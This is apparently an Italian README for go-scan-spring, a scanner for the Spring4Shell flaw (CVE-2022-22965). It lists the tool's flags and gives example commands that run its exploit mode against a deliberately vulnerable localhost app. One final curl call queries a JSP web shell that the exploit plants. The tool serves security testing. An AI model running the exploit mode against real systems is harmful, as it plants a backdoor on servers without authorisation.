
Scanner di vulnerabilità per Spring4Shell (CVE-2022-22965)
Per maggiori informazioni: https://www.fracturelabs.com/posts/effective-spring4shell-scanning-exploitation/
[~/opt] $ git clone https://github.com/fracturelabs/go-scan-spring.git
[~/opt] $ cd go-scan-spring
[~/opt/go-scan-spring] $ go run main.go help scan
Esegue una scansione degli URL target alla ricerca di servizi vulnerabili
Utilizzo:
go-scan-spring scan [flags]
Flags:
-f, --file string Nome file URL target (- per stdin)
--follow-redirect Segui i reindirizzamenti
-h, --help aiuto per scan
--http-get Test con richieste HTTP GET (impostare =false per disabilitare) (default true)
--http-post Test con richieste HTTP POST (impostare =false per disabilitare) (default true)
--identifier string Identificatore univoco della scansione (usato come password e nome file exploit) (default "go-scan-spring")
-x, --proxy string Proxy upstream
--run-baseline Esegue un test di base per verificare se l'endpoint è attivo
--run-exploit Esegue un exploit per recuperare il proprietario del processo Tomcat
--run-safe Esegue un test sicuro per verificare se l'endpoint è vulnerabile
-s, --sleep int Tempo di pausa tra i passi dell'exploit. Necessario per consentire il tempo di deployment. (default 10)
-t, --threads int Numero di thread (default 5)
Global Flags:
--debug abilita log di debug
[~/opt/go-scan-spring] $ go run main.go scan --run-safe -f urls.txt
Usa il tuo parametro identifier univoco!
# Usando HTTP GET e POST
[~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit
# Usando solo HTTP GET
[~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit --http-post=false
# Usando solo HTTP POST
[~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit --http-get=false
Puoi verificare che lo script funzioni correttamente testandolo contro un sistema deliberatamente vulnerabile, come spring4shell_victim
[~] $ curl --output - 'http://localhost:8080/go-scan-spring/550bafe0-0c6c-4f3e-a46b-0901c28e690b-AD.jsp?pwd=550bafe0-0c6c-4f3e-a46b-0901c28e690b'